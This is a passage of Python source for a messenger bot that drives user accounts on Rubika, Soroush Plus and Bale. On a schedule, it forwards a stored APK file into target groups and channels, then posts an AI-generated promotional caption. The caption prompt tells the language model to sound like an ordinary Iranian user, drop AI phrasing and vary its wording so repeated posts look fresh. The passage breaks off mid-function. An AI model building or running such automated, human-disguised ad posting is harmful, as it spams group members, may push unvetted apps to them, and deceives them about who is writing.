    m = re.fullmatch(r"(.+?)[/:](\d{1,20})", raw)
    if m and not raw.startswith(("http://", "https://")):
        return m.group(1), int(m.group(2))

    if raw.startswith(("http://", "https://")):
        try:
            from urllib.parse import urlparse
            parsed = urlparse(raw)
            parts = [x for x in parsed.path.split("/") if x]
            if parts:
                # Common direct post form: /username/123
                if parts[-1].isdigit():
                    mid = int(parts[-1])
                    candidates = parts[:-1]
                    ignored = {"s", "m", "p", "message", "messages", "post", "c", "channel", "group"}
                    chat = next((x for x in reversed(candidates) if x not in ignored), None)
                    if chat:
                        return chat, mid
        except Exception:
            pass

    return None, None

_trx115_parse_source_ref = _trx115_parse_source_ref_final

async def _trx115_get_message_final(client, chat_ref, message_id):
    peer = await _trx_resolve_target(client, chat_ref)
    methods = [
        ("get_messages_by_id", ((peer, [message_id]), {})),
        ("get_messages_info", ((peer, [message_id]), {})),
        ("get_message_by_id", ((peer, message_id), {})),
        ("get_messages", ((peer,), {"ids": [message_id]})),
        ("get_messages", ((peer,), {"id": message_id})),
    ]

    def first_message(value):
        if value is None:
            return None
        if isinstance(value, dict):
            if value.get("messages"):
                return first_message(value.get("messages"))
            if value.get("data"):
                nested = value.get("data")
                if isinstance(nested, dict) and nested.get("messages"):
                    return first_message(nested.get("messages"))
        if isinstance(value, (list, tuple)):
            return value[0] if value else None
        return value

    for name, args_kwargs in methods:
        fn = getattr(client, name, None)
        if not fn:
            continue
        args, kwargs = args_kwargs
        try:
            value = await _trx_maybe_await(fn(*args, **kwargs))
            obj = first_message(value)
            if obj is not None:
                return obj, peer
        except Exception as e:
            log.debug(f"APK source read {name}: {e}")
    return None, peer

_trx115_get_message = _trx115_get_message_final

async def _trx115_save_apk_from_link_v14(uid, aid, service, raw_link):
    chat_ref, message_id = _trx115_parse_source_ref_final(raw_link)
    if not chat_ref or not message_id:
        return False, "لینک باید لینک مستقیم خود پیام APK باشد، نه لینک دعوت"

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, "اکانت انتخاب‌شده در دسترس نیست"

    msg_obj, peer = await _trx115_get_message_final(client, chat_ref, message_id)
    if msg_obj is None:
        return False, "پیام منبع پیدا نشد؛ مطمئن شوید اکانت همین پیام را می‌بیند"

    meta = _trx110_apk_meta(msg_obj)
    if not meta or not str(meta.get("filename", "")).lower().endswith(".apk"):
        return False, "پیام لینک‌شده APK نیست"

    count = db.fetchone(
        "SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1",
        (uid,),
    )["c"]
    if count >= MAX_APK_PER_USER:
        return False, f"ظرفیت کامل است؛ {MAX_APK_PER_USER} از {MAX_APK_PER_USER} APK فعال دارید"

    duplicate = db.fetchone(
        "SELECT af.id FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? "
        "AND src.source_peer=? AND src.source_message_id=?",
        (uid, aid, str(peer), str(message_id)),
    )
    if duplicate:
        return True, f"APK {duplicate['id']} قبلاً ثبت شده"

    cur = db.execute(
        "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) "
        "VALUES(?,?,?,?,?,1,?)",
        (uid, "", int(message_id), str(meta["filename"])[:255], int(meta.get("size") or 0), now()),
    )
    apk_id = cur.lastrowid

    db.execute(
        "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) "
        "VALUES(?,?,?,?,?,?)",
        (apk_id, aid, service, str(peer), str(message_id), now()),
    )
    db.execute(
        "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
        (f"default_apk:{uid}", apk_id),
    )
    log_event(uid, "APK_ADDED", f"{service}:{meta['filename']}")
    log_account_activity(aid, uid, "apk_source_link", str(raw_link)[:300], 1)
    return True, f"APK {apk_id} • {meta['filename']}"

_trx115_save_apk_from_link = _trx115_save_apk_from_link_v14


def _trx115_normalize_apk_slots_final():
    try:
        users = db.fetchall("SELECT DISTINCT user_id FROM apk_files")
        for row in users:
            active = db.fetchall(
                "SELECT id FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC",
                (row["user_id"],),
            )
            for extra in active[MAX_APK_PER_USER:]:
                db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (extra["id"], row["user_id"]))
    except Exception as e:
        log.warning(f"APK slot normalization skipped: {e}")

_trx115_normalize_apk_slots_final()

# -------------------------------------------------------------------
# F) Better APK panel / wizard text
# -------------------------------------------------------------------
def _trx115_apk_panel_text(uid, lang):
    rows = db.fetchall(
        "SELECT af.id,af.file_name,src.platform,src.account_id "
        "FROM apk_files af LEFT JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 ORDER BY af.id ASC",
        (uid,),
    )
    en = str(lang).lower().startswith("en")
    if en:
        lines = [
            trx_sc("📦 APK Manager"),
            trx_sc(f"Active sources: {len(rows)} / {MAX_APK_PER_USER}"),
            trx_sc("Choose Setup APK to add a source from a direct message link."),
            "",
        ]
        for index, row in enumerate(rows, 1):
            lines.append(trx_sc(f"APK {index} • {row['file_name']} • {str(row['platform'] or 'unknown').title()} • account #{row['account_id']}"))
        if not rows:
            lines.append(trx_sc("No APK source has been saved yet"))
        return "\n".join(lines)

    lines = [
        "📦 **مدیریت APK**",
        f"APKهای فعال: **{len(rows)} از {MAX_APK_PER_USER}**",
        "برای اضافه کردن فایل، «تنظیم APK» را بزنید و لینک مستقیم همان پیام فایل را ثبت کنید",
        "فایل در کانال خودش می‌ماند و هنگام ارسال، همان پیام اصلی هدایت می‌شود",
        "",
    ]
    for index, row in enumerate(rows, 1):
        lines.append(f"APK {index} • {row['file_name']} • {str(row['platform'] or 'نامشخص').upper()} • اکانت منبع #{row['account_id']}")
    if not rows:
        lines.append("هنوز APK منبعی ثبت نشده")
    return "\n".join(lines)

def _trx115_apk_panel_kb(uid, lang):
    rows = db.fetchall(
        "SELECT id,file_name FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id ASC",
        (uid,),
    )
    en = str(lang).lower().startswith("en")
    btns = []
    for index, row in enumerate(rows, 1):
        btns.append([
            (trx_sc(f"📦 APK {index}") if en else f"📦 APK {index}", f"apk.pick:{row['id']}"),
            (trx_sc("🗑 Remove") if en else "🗑 حذف", f"apk.disable:{row['id']}"),
        ])
    btns.append([(trx_sc("➕ Setup APK") if en else "➕ تنظیم APK", "apk.setup")])
    btns.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت", "menu")])
    return IKB(btns)

def _trx115_platform_kb_v14(lang, prefix="apk.setup.svc"):
    en = str(lang).lower().startswith("en")
    return IKB([
        [
            (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
            (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", f"{prefix}:soroush"),
        ],
        [(trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "apk")],
    ])

# -------------------------------------------------------------------
# G) Explicit target workflow + list controls
# -------------------------------------------------------------------
def _trx115_task_platform_kb_v14(lang, kind):
    en = str(lang).lower().startswith("en")
    prefix = f"trx115.{kind}.platform"
    return IKB([
        [
            (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
            (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", f"{prefix}:soroush"),
        ],
        [(trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")],
    ])

def _trx115_accounts_kb_v14(uid, lang, kind, platform):
    en = str(lang).lower().startswith("en")
    rows = db.fetchall(
        "SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
        (uid, platform),
    )
    btns = []
    for row in rows:
        label = f"#{row['id']} — {_mask_phone(row['phone'])}"
        btns.append([(trx_sc(label) if en else label, f"trx115.{kind}.account:{row['id']}")])
    btns.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت", f"ai.{kind}")])
    return IKB(btns)

def _trx115_target_list_text(uid, lang, kind):
    rows = db.fetchall(
        "SELECT * FROM ai_tasks WHERE user_id=? AND task_type=? ORDER BY id DESC",
        (uid, kind),
    )
    en = str(lang).lower().startswith("en")
    title = "Tabchi list" if kind == "group" else "Channel Activity list"
    lines = [trx_sc(f"📋 {title}") if en else f"📋 **{'لیست تبچی' if kind=='group' else 'لیست فعالیت چنل'}**", ""]
    if not rows:
        lines.append(trx_sc("Nothing is configured yet") if en else "هنوز موردی ثبت نشده")
    for row in rows:
        name = ("Tabchi" if kind == "group" else "Channel Activity") if en else ("تبچی" if kind=="group" else "فعالیت چنل")
        state_label = "ON" if row["enabled"] else "OFF"
        if en:
            lines.append(trx_sc(
                f"#{row['id']} • {name} • {row['target']} • {int(row['interval_seconds'])//60}m • {state_label}"
            ))
        else:
            lines.append(
                f"#{row['id']} • {name} • {row['target']} • هر {int(row['interval_seconds'])//60} دقیقه • {'روشن' if row['enabled'] else 'خاموش'}"
            )
    return "\n".join(lines), rows

def _trx115_task_list_kb(lang, kind, rows):
    en = str(lang).lower().startswith("en")
    btns = []
    for row in rows:
        toggle_label = "🔴 Disable" if row["enabled"] else "🟢 Enable"
        btns.append([
            (trx_sc(toggle_label) if en else ("🔴 خاموش" if row["enabled"] else "🟢 روشن"), f"trx115.task.toggle:{row['id']}"),
            (trx_sc("🗑 Delete") if en else "🗑 حذف", f"trx115.task.delete:{row['id']}"),
        ])
    btns.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")])
    return IKB(btns)

# -------------------------------------------------------------------
# H) Target resolution/permission check
# -------------------------------------------------------------------
async def _trx115_validate_target_v14(uid, aid, raw, kind):
    raw = str(raw or "").strip()
    if not raw:
        return False, None, "هدف خالی است"

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, None, "نشست اکانت در دسترس نیست"

    resolved = await _trx_resolve_target(client, raw)
    # Accept public username/ID even when the client has no entity resolver.
    # For direct URLs, reject only clearly malformed links.
    if raw.startswith(("http://", "https://")):
        try:
            from urllib.parse import urlparse
            parsed = urlparse(raw)
            path_parts = [x for x in parsed.path.split("/") if x]
            if not parsed.netloc or not path_parts:
                return False, None, "لینک معتبر نیست"
            if kind == "channel" and path_parts[-1].lower() in {"join", "joinchannel"}:
                return False, None, "برای کانال لینک عمومی یا @username را بفرستید"
        except Exception:
            return False, None, "لینک معتبر نیست"

    # Soft permission probe. We do not reject a valid target merely because
    # a client SDK lacks a membership endpoint; the real sender will enforce
    # permission and the task runner will record any failure.
    probes = (
        "get_chat",
        "get_group_info",
        "get_channel_info",
        "get_object_by_username",
    )
    for name in probes:
        fn = getattr(client, name, None)
        if not fn:
            continue
        try:
            result = await _trx_maybe_await(fn(resolved))
            if result is not None:
                break
        except Exception:
            continue

    return True, resolved, ""

# -------------------------------------------------------------------
# I) Natural AI prompt + duplicate protection
# -------------------------------------------------------------------
TRX115_NATURAL_STYLE = (
    "فارسی را مثل یک کاربر ایرانی عادی و باتجربه بنویس. "
    "جمله‌ها روان و کوتاه تا متوسط باشند. متن خشک و رباتی نباشد. "
    "از جمله‌های کلیشه‌ای مثل «در خدمت شما هستم»، «با افتخار» و «به عنوان هوش مصنوعی» استفاده نکن. "
    "علامت تعجب و سوال را حداکثر در حد طبیعی استفاده کن و از «!!!» و «؟؟؟» و الگوهای مصنوعی دوری کن. "
    "از ایموجی فقط در حد نیاز استفاده کن. ادعا یا مشخصه‌ای که در دانش محصول نیست نساز. "
    "مثل یک تیم واقعی محصول بنویس، نه مثل متن تبلیغاتی ماشینی."
)

def _trx115_cleanup_caption(text):
    text = re.sub(r"[!?؟!]{2,}", lambda m: m.group(0)[-1], str(text or "").strip())
    text = re.sub(r"\n{3,}", "\n\n", text)
    text = re.sub(r"[ \t]{2,}", " ", text)
    return text[:3500].strip()

def _trx115_recent_captions(uid, aid, kind):
    rows = db.fetchall(
        "SELECT atr.detail FROM ai_task_runs atr JOIN ai_tasks at ON at.id=atr.task_id "
        "WHERE at.user_id=? AND at.account_id=? AND at.task_type=? AND atr.success=1 "
        "ORDER BY atr.id DESC LIMIT 20",
        (uid, aid, kind),
    )
    return [str(row["detail"] or "").strip() for row in rows if str(row["detail"] or "").strip()]

async def _trx115_generate_caption_v14(uid, aid, kind, target, apk_id):
    previous = _trx115_recent_captions(uid, aid, kind)
    target_link = str(target)
    kb = _trx_ai_get_kb(uid)[:6000]
    developer_hint = ""
    m = re.search(
        r"(?:توسعه.?دهنده|developer|developer name)\s*[:：\-]\s*([^\n|]+)",
        kb,
        re.I,
    )
    if m:
        developer_hint = m.group(1).strip()[:160]

    prompt = (
        _trx_ai_system(
            uid, aid, "scheduled_ad",
            f"Target type: {kind}. Target: {target_link}. Source APK id: {apk_id}. "
            f"{TRX115_NATURAL_STYLE}"
        )
        + "\n"
        + (
            "Create a new Persian promotional caption for the APK. "
            "Do not repeat previous captions. Focus on verified product benefits. "
            "Do not invent pricing, guarantees, downloads, awards or technical claims. "
            + (f"Developer name, only when present in KB: {developer_hint}. " if developer_hint else "")
            + (
                f"End with the target channel link/username exactly as provided: {target_link}. "
                if kind == "channel" else ""
            )
        )
        + "\nPrevious captions:\n"
        + "\n---\n".join(previous[:10])
    )

    for attempt in range(2):
        result = await ai.chat(
            [
                {"role": "system", "content": prompt},
                {"role": "user", "content": "یک متن تازه، طبیعی و متفاوت بنویس که بتواند بلافاصله بعد از فایل APK منتشر شود"},
            ],
            uid=uid,
            account_id=aid,
            action_type="scheduled_ad_caption",
            temperature=0.9,
            max_tokens=650,
        )
        caption = _trx115_cleanup_caption(result)
        if not caption:
            continue
        normalized = re.sub(r"\W+", "", caption, flags=re.UNICODE).lower()
        if any(normalized == re.sub(r"\W+", "", old, flags=re.UNICODE).lower() for old in previous):
            prompt += "\nتکراری است. این بار زاویه، جمله‌بندی و شروع متن را کاملاً عوض کن."
            continue
        return caption
    return ""

async def _trx115_send_caption_after_forward_v14(client, dest, caption, forwarded):
    send = getattr(client, "send_message", None)
    if not send:
        raise RuntimeError("account client has no send_message")

    forwarded_id = None
    if isinstance(forwarded, dict):
        forwarded_id = forwarded.get("id") or forwarded.get("message_id")
        data = forwarded.get("data")
        if isinstance(data, dict):
            forwarded_id = forwarded_id or data.get("id") or data.get("message_id")
    else:
        forwarded_id = (
            getattr(forwarded, "id", None)
            or getattr(forwarded, "message_id", None)
        )

    if forwarded_id is not None:
        variants = [
            ((dest, caption), {"reply_to_message_id": forwarded_id}),
            ((dest, caption), {"reply_to": forwarded_id}),
            ((dest,), {"text": caption, "reply_to_message_id": forwarded_id}),
        ]
        for args, kwargs in variants:
            try:
                return await _trx_maybe_await(send(*args, **kwargs))
            except Exception:
                continue

    return await _trx_maybe_await(send(dest, caption))

async def _trx115_run_task_v14(task):
    uid, aid = int(task["user_id"]), int(task["account_id"])
    kind = "channel" if task["task_type"] == "channel" else "group"
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("account session is not connected")

    payload = _trx_task_payload(task)
    apk_id = int(payload.get("apk_id") or 0)
    apk = db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 AND af.id=?",
        (uid, apk_id),
    ) if apk_id else _trx115_apk_for_account(uid, aid)

    if not apk:
        raise RuntimeError("no source APK is configured")

    apk_id = int(apk["id"])
    ok, forwarded = await _trx_forward_source_apk_v11(uid, aid, task["target"], apk_id)
    if not ok:
        raise RuntimeError(f"APK forward failed: {forwarded}")

    caption = await _trx115_generate_caption_v14(uid, aid, kind, task["target"], apk_id)
    if not caption:
        raise RuntimeError("AI caption generation failed")

    dest = await _trx_resolve_target(client, task["target"])
    await _trx115_send_caption_after_forward_v14(client, dest, caption, forwarded)

    stamp = now()
    db.execute(
        "UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?",
        (stamp, stamp, task["id"]),
    )
    try:
        db.execute(
            "INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)",
            (task["id"], 1, caption[:1800], stamp),
        )
    except Exception:
        pass
    log_account_activity(aid, uid, "scheduled_apk_ad", task["target"], 1)
    return True

_trx115_generate_caption = _trx115_generate_caption_v14
_trx115_run_task = _trx115_run_task_v14

async def _trx115_scheduler_loop_v14():
    while True:
        try:
            await asyncio.sleep(15)
            if db is None or bot is None or not getattr(bot, "running", False):
                continue

            rows = db.fetchall(
                "SELECT * FROM ai_tasks WHERE enabled=1 ORDER BY id ASC"
            )
            now_ts = time.time()
            for task in rows:
                interval = max(
                    60,
                    int(task["interval_seconds"] or 240),
                )
                last = task["last_run"]
                due = not bool(last)
                if last:
                    try:
                        due = datetime.fromisoformat(last).timestamp() + interval <= now_ts
                    except Exception:
                        due = True
                if not due:
                    continue

                # One task at a time keeps two active schedules from
                # colliding on the same source account/session.
                try:
                    await _trx115_run_task_v14(task)
                except Exception as e:
                    log.error(f"TRX115 scheduled task #{task['id']} failed: {e}")
                    try:
                        db.execute(
                            "INSERT INTO ai_task_runs(task_id,success,detail,created_at) "
                            "VALUES(?,?,?,?)",
                            (task["id"], 0, str(e)[:1400], now()),
                        )
                    except Exception:
                        pass
        except asyncio.CancelledError:
            raise
        except Exception as e:
            log.error(f"TRX115 scheduler loop error: {e}")

_trx_scheduler_loop = _trx115_scheduler_loop_v14

# -------------------------------------------------------------------
# J) Final callback router — only new/affected sections are intercepted
# -------------------------------------------------------------------
_TRX115_DISPATCH_V14_BASE = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        en = str(lang or "fa").lower().startswith("en")

        # APK manager
        if data == "apk":
            return await _edit(
                chat_id, msg_id,
                _trx115_apk_panel_text(uid, lang),
                _trx115_apk_panel_kb(uid, lang),
            )

        if data == "apk.setup":
            return await _edit(
                chat_id, msg_id,
                trx_sc("📦 APK Setup\n\nChoose the platform first") if en else
                "📦 **تنظیم APK**\n\nاول پلتفرم را انتخاب کنید",
                _trx115_platform_kb_v14(lang),
            )

        if data.startswith("apk.setup.svc:"):
            platform = data.split(":", 1)[1]
            rows = db.fetchall(
                "SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, platform),
            )
            if not rows:
                return await _edit(
                    chat_id, msg_id,
                    trx_sc("No active account on this platform") if en else "❌ روی این پلتفرم اکانت فعالی ندارید",
                    _trx115_platform_kb_v14(lang),
                )
            return await _edit(
                chat_id, msg_id,
                trx_sc("📱 Choose the account that can access the source channel") if en else
                "📱 اکانتی را انتخاب کنید که به کانال منبع APK دسترسی دارد",
                _trx115_accounts_kb_v14(uid, lang, "apk", platform),
            )

        if data.startswith("trx115.apk.account:"):
            aid = int(data.split(":", 1)[1])
            row = db.fetchone(
                "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not row:
                return await _edit(
                    chat_id, msg_id,
                    trx_sc("Account not found") if en else "❌ اکانت پیدا نشد",
                    _trx115_apk_panel_kb(uid, lang),
                )
            state.set(
                uid,
                State.ADD_APK,
                setup_mode="source_link",
                account_id=aid,
                service=row["service"],
            )
            prompt = (
                trx_sc(
                    "🔗 Send the direct message link of the APK.\n"
                    "Open the channel with this account, open the APK message, copy that message link and send it here.\n"
                    "Do not send the channel invite link."
                )
                if en else
                "🔗 لینک مستقیم پیام APK را بفرستید\n"
                "با همین اکانت وارد کانال شوید، روی پیام APK بروید و لینک همان پیام را کپی کنید\n"
                "لینک دعوت خود کانال را نفرستید"
            )
            return await _edit(
                chat_id, msg_id, prompt,
                IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
            )

        # Separate Tabchi list
        if data == "trx115.group.list":
            text_value, rows = _trx115_target_list_text(uid, lang, "group")
            return await _edit(chat_id, msg_id, text_value, _trx115_task_list_kb(lang, "group", rows))

        if data == "trx115.channel.list":
            text_value, rows = _trx115_target_list_text(uid, lang, "channel")
            return await _edit(chat_id, msg_id, text_value, _trx115_task_list_kb(lang, "channel", rows))

        # Tabchi workflow
        if data == "ai.group":
            return await _edit(
                chat_id, msg_id,
                (trx_sc("📣 Tabchi\n\nChoose the platform, then the account, then send the target group link.")
                 if en else
                 "📣 **تبچی**\n\nاول پلتفرم را انتخاب کنید، بعد اکانت، بعد لینک گروه هدف را ثبت می‌کنیم"),
                IKB([
                    [
                        (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", "trx115.group.platform:rubika"),
                        (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", "trx115.group.platform:soroush"),
                    ],
                    [(trx_sc("🟡 Bale") if en else "🟡 بله", "trx115.group.platform:bale")],
                    [(trx_sc("📋 Tabchi list") if en else "📋 لیست تبچی", "trx115.group.list")],
                    [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")],
                ]),
            )

        if data.startswith("trx115.group.platform:"):
            platform = data.split(":", 1)[1]
            return await _edit(
                chat_id, msg_id,
                trx_sc("📱 Choose the account that will post in the target group")
                if en else "📱 اکانتی را انتخاب کنید که داخل گروه هدف ارسال خواهد کرد",
                _trx115_accounts_kb_v14(uid, lang, "group", platform),
            )

        if data.startswith("trx115.group.account:"):
            aid = int(data.split(":", 1)[1])
            a = db.fetchone(
                "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not a:
                return await _edit(chat_id, msg_id, trx_sc("Account not found") if en else "❌ اکانت پیدا نشد", ai_advanced_menu(lang, uid))
            if not ai_live_clients.get((uid, aid)):
                await _ensure_ai_client(uid, aid)
            state.set(
                uid,
                "trx115_task_target",
                task_kind="group",
                mode="group_task",
                account_id=aid,
                service=a["service"],
            )
            return await _edit(
                chat_id, msg_id,
                trx_sc(
                    "🔗 Send the direct group link or @username.\n"
                    "For a private group, the account must already be a member and allowed to post.\n"
                    "Do not send a general invite link when a public username/link is available."
                )
                if en else
                "🔗 لینک مستقیم گروه یا `@username` را بفرستید\n"
                "برای گروه خصوصی، اکانت انتخاب‌شده باید از قبل عضو باشد و اجازه ارسال داشته باشد\n"
                "اگر لینک عمومی دارید همان را بفرستید، نه لینک دعوت عمومی",
                IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
            )

        # Channel Activity workflow
        if data == "ai.channel":
            return await _edit(
                chat_id, msg_id,
                trx_sc("📰 Channel Activity\n\nChoose the platform, then the account that owns or manages the channel.")
                if en else
                "📰 **فعالیت چنل**\n\nاول پلتفرم را انتخاب کنید، بعد اکانتی که مالک یا مدیر چنل است",
                IKB([
                    [
                        (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", "trx115.channel.platform:rubika"),
                        (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", "trx115.channel.platform:soroush"),
                    ],
                    [(trx_sc("🟡 Bale") if en else "🟡 بله", "trx115.channel.platform:bale")],
                    [(trx_sc("📋 Channel list") if en else "📋 لیست فعالیت چنل", "trx115.channel.list")],
                    [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")],
                ]),
            )

        if data.startswith("trx115.channel.platform:"):
            platform = data.split(":", 1)[1]
            return await _edit(
                chat_id, msg_id,
                trx_sc("📱 Choose the account that owns or manages the channel")
                if en else "📱 اکانت مالک یا مدیر چنل را انتخاب کنید",
                _trx115_accounts_kb_v14(uid, lang, "channel", platform),
            )

        if data.startswith("trx115.channel.account:"):
            aid = int(data.split(":", 1)[1])
            a = db.fetchone(
                "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not a:
                return await _edit(chat_id, msg_id, trx_sc("Account not found") if en else "❌ اکانت پیدا نشد", ai_advanced_menu(lang, uid))
            if not ai_live_clients.get((uid, aid)):
                await _ensure_ai_client(uid, aid)
            state.set(
                uid,
                "trx115_task_target",
                task_kind="channel",
                mode="channel_task",
                account_id=aid,
                service=a["service"],
            )
            return await _edit(
                chat_id, msg_id,
                trx_sc(
                    "🔗 Create the target channel with this account, then send its public link or @username.\n"
                    "The account should be the owner/admin. Do not send a private invite link when a public channel link exists."
                )
                if en else
                "🔗 با همین اکانت چنل هدف را بسازید یا انتخاب کنید، بعد لینک عمومی یا `@username` چنل را بفرستید\n"
                "اکانت باید مالک یا مدیر چنل باشد\n"
                "اگر لینک عمومی دارید همان را بفرستید، نه لینک دعوت",
                IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
            )

        # Confirmation buttons
        if data == "trx115.task.confirm":
            s = state.get(uid)
            if not s or s.get("state") != "trx115_task_confirm":
                return await _edit(
                    chat_id, msg_id,
                    trx_sc("This confirmation expired. Start again.") if en else
                    "❌ این تایید منقضی شده، دوباره از ابتدا تنظیم کنید",
                    ai_advanced_menu(lang, uid),
                )

            kind = s["task_kind"]
            aid = int(s["account_id"])
            apk = _trx115_apk_for_account(uid, aid)
            if not apk:
                state.pop(uid)
                return await _edit(
                    chat_id, msg_id,
                    trx_sc("Set up a source APK for this account first.") if en else
                    "❌ اول یک APK منبع ثبت کنید",
                    _trx115_apk_panel_kb(uid, lang),
                )

            created = now()
            payload = {
                "send_apk": True,
                "apk_id": int(apk["id"]),
                "source_account_id": int(apk["source_account_id"]),
            }
            task_type = "channel" if kind == "channel" else "group"

            db.execute(
                "INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,"
                "message_template,enabled,created_at,updated_at,meta_json,last_run) "
                "VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                (
                    uid, aid, task_type, s["target"], int(s["interval_seconds"]),
                    "", 1, created, created,
                    json.dumps(payload, ensure_ascii=False),
                    created,
                ),
            )
            state.pop(uid)

            if en:
                msg_text = trx_sc(
                    f"✅ {'Channel Activity' if kind=='channel' else 'Tabchi'} started successfully.\n"
                    f"Target: {s['target']}\n"
                    f"Interval: every {int(s['interval_seconds'])//60} minutes\n"
                    f"Source: APK {apk['id']}\n\n"
                    "Each run sends two messages: the original APK is forwarded first, then a fresh AI caption is sent underneath."
                )
            else:
                msg_text = (
                    f"✅ {'فعالیت چنل' if kind=='channel' else 'تبچی'} با موفقیت ثبت شد\n\n"
                    f"🎯 هدف: {s['target']}\n"
                    f"⏱ فاصله: هر {int(s['interval_seconds'])//60} دقیقه\n"
                    f"📦 منبع: APK {apk['id']}\n\n"
                    "هر اجرا دو پیام دارد: اول خود APK منبع هدایت می‌شود و بعد متن تازه AI زیر آن قرار می‌گیرد"
                )
            return await _edit(chat_id, msg_id, msg_text, ai_advanced_menu(lang, uid))

        if data.startswith(("trx115.task.toggle:", "ai.task.toggle:")):
            tid = int(data.split(":", 1)[1])
            row = db.fetchone(
                "SELECT enabled FROM ai_tasks WHERE id=? AND user_id=?",
                (tid, uid),
            )
            if row:
                db.execute(
                    "UPDATE ai_tasks SET enabled=?,updated_at=? WHERE id=? AND user_id=?",
                    (0 if row["enabled"] else 1, now(), tid, uid),
                )
            # Re-open the corresponding list without sending a second callback acknowledgement.
            updated = db.fetchone("SELECT task_type FROM ai_tasks WHERE id=? AND user_id=?", (tid, uid))
            kind = updated["task_type"] if updated else "group"
            text_value, rows = _trx115_target_list_text(uid, lang, kind)
            return await _edit(chat_id, msg_id, text_value, _trx115_task_list_kb(lang, kind, rows))

        if data.startswith(("trx115.task.delete:", "ai.task.del:")):
            tid = int(data.split(":", 1)[1])
            row = db.fetchone("SELECT task_type FROM ai_tasks WHERE id=? AND user_id=?", (tid, uid))
            db.execute("DELETE FROM ai_tasks WHERE id=? AND user_id=?", (tid, uid))
            kind = row["task_type"] if row else "group"
            text_value, rows = _trx115_target_list_text(uid, lang, kind)
            return await _edit(chat_id, msg_id, text_value, _trx115_task_list_kb(lang, kind, rows))

    except Exception as e:
        log.error(f"TRX115 v14 dispatch error: {e}\n{traceback.format_exc(limit=40)}")

    return await _TRX115_DISPATCH_V14_BASE(cb_id, uid, lang, u, chat_id, msg_id, data)

# -------------------------------------------------------------------
# K) Final message-state router
# -------------------------------------------------------------------
_TRX115_ON_MSG_V14_BASE = on_msg

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
            lang = u["lang"] or "fa"
            en = str(lang).lower().startswith("en")
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)

            # APK setup: receive direct message URL and save original source reference.
            if s and s.get("state") == State.ADD_APK and s.get("setup_mode") == "source_link":
                aid = int(s["account_id"])
                ok, info = await _trx115_save_apk_from_link(uid, aid, s.get("service", ""), txt)
                if not ok:
                    return await bot.send(
                        chat_id,
                        trx_sc("❌ " + info) if en else "❌ " + info,
                        reply_markup=IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
                    )
                state.pop(uid)
                count = db.fetchone(
                    "SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1",
                    (uid,),
                )["c"]
                return await bot.send(
                    chat_id,
                    (
                        trx_sc(f"✅ {info} saved successfully • {count} / {MAX_APK_PER_USER}")
                        if en else
                        f"✅ {info} با موفقیت ذخیره شد\n🔢 {count} از {MAX_APK_PER_USER}"
                    ),
                    reply_markup=_trx115_apk_panel_kb(uid, lang),
                )

            # Tabchi / Channel target
            if s and s.get("state") == "trx115_task_target":
                target = txt
                valid, resolved, reason = await _trx115_validate_target_v14(uid, int(s["account_id"]), target, s["task_kind"])
                if not valid:
                    return await bot.send(
                        chat_id,
